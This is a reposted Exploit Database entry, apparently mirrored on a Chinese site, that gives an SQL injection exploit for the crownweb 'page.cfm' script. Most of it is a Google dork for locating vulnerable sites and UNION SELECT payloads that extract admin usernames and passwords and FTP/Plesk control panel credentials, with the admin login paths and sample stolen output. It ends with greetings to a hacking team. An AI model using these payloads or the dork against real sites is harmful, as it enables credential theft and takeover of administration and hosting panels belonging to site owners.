crownweb – ‘page.cfm’ SQL Injection

• Exploit Database
• 124 阅读

• 作者： AtT4CKxT3rR0r1ST
  日期： 2010-01-31
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11299/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48

  crownweb (page.cfm) Sql Injection Vulnerability ===================================================================   #################################################################### .:. Email : F.Hack@w.cn .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : crownweb .:. Language : Cfm .:. Script Download: http://www.crownweb.net/ .:. Bug Type : Sql Injection[Mysql] .:. Dork : "Powered By CrownWeb.net!" inurl:"page.cfm" ####################################################################   ===[ Exploit ]===   www.Localhost.com/page.cfm?id=[Sql Injection]   ******************************************************************** T0 Get Username & Password Admin Site   [Sql Injection ; {Name & password Admin}]   www.Localhost.com/page.cfm?id=null+and+100=99+union+select+1,2,3,4,concat(name,0x3a,password),6+from+author   WEBSITE LOGIN: www.localhost.com/siteadmin/   [~] Name : Webadmin [~] Password : Sec-Attack   ******************************************************************** T0 Get Username & Password Plesk Control Panel   [Sql Injection ; {Username & Password Plesk Control Panel}]   www.Localhost.com/page.cfm?id=null+and+100=99+union+select+1,2,3,4,concat(ftpserver,0x3a,domainname,0x3a,ftpusername,0x3a,ftppassword),6+from+webdata   WEBSITE LOGIN: https://IP SRVER:8443/login.php3   [~] ftpserver : 127.0.0.1 [~] domainname : Localhost.com [~] ftpusername : Root [~] ftppassword : Sec-Attack   ####################################################################   Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack